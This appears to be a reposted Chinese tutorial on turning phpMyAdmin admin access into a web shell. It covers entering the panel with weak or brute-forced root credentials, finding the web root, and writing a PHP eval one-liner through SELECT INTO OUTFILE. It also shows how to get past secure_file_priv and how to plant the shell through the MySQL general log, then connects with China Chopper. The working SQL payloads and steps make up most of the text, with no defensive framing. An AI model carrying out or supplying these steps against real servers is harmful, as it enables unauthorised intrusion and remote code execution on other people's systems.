您好,登錄后才能下訂單哦!
這篇文章主要介紹了PhpMyAdmin后臺getshell的示例分析,具有一定借鑒價值,感興趣的朋友可以參考下,希望大家閱讀完這篇文章之后大有收獲,下面讓小編帶著大家一起了解一下。
PhpMyAdmin 是一個以PHP為基礎,以Web-Base方式架構在網站主機上的MySQL的數據庫管理工具,讓管理者可用Web接口管理MySQL數據庫。借由此Web接口可以成為一個簡易方式輸入繁雜SQL語法的較佳途徑,尤其要處理大量資料的匯入及匯出更為方便。
在通過對目標進行信息收集探測后,當發現存有phpmyadmin目錄(可試下:http://ip:端口/phpmyadmin/
)時,進而通過弱口令(可以直接嘗試下賬號root密碼root)或者暴力破解進入管理后臺之后,有多種方法進行getshell。
想在網站內部插入木馬,前提是你得知道網站的絕對路徑,方法也有很多,比如通過報錯獲取路徑,通過phpinfo.php等等(可參考另一篇博文:https://blog.csdn.net/weixin_39190897/article/details/99078864 )。
最方便的是用select @@basedir;
直接查(但有時沒法查出來,只能另尋它法):
根據上面的反饋,我們可以看到 MySQL 的位置在 D:\soft\phpStudy\MySQL\
目錄下。
獲得網站路徑后就可以企圖上傳木馬了,最常用的是通過into outfile
在網站根目錄上直接寫入一句話木馬:
select '<?php eval($_POST[cmd]); ?>' into outfile 'D:\soft\phpStudy\www\xxx.php';
但在新版的mysql中,這句話并沒有運行成功。
Mysql新特性secure_file_priv
會對讀寫文件產生影響,該參數用來限制導入導出。我們可以借助show global variables like '%secure%';
命令來查看該參數:
當secure_file_priv
為NULL時,表示限制Mysql不允許導入導出,所以爆出錯誤。要想使得該語句導出成功,則需要在Mysql文件夾下修改my.ini
文件,在[mysqld]內加入secure_file_priv =""
即可:
當secure_file_priv
的值沒有具體值時,表示不對mysqld 的導入|導出做限制,此時就可以執行導出命令。
Mysql 5.0版本以上會創建日志文件,通過修改日志的全局變量,也可以getshell。但是也要對生成的日志有可讀可寫的權限。(注:linux因為權限問題親測沒有成功)。先來介紹兩個MySQL全局變量:general_log
和 general_log file
。
general log 指的是日志保存狀態,ON代表開啟 OFF代表關閉;
general log file 指的是日志的保存路徑。
查看日志狀態的命令:show variables like '%general%';
在以上配置中,當開啟general時,所執行的sql語句都會出現在WIN-30DFNC8L78A.log
文件。
那么,如果修改general_log_file
的值,那么所執行的sql語句就會對應生成,進而getshell。
對應就會生成xxx.php文件
將一句話木馬寫入xxx.php文件:SELECT '<?php eval($_POST["cmd"]);?>'
接著可以看到日志文件中記錄了木馬語句:
最后中國菜刀連接,getshell:
感謝你能夠認真閱讀完這篇文章,希望小編分享的“PhpMyAdmin后臺getshell的示例分析”這篇文章對大家有幫助,同時也希望大家多多支持億速云,關注億速云行業資訊頻道,更多相關知識等著你來學習!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。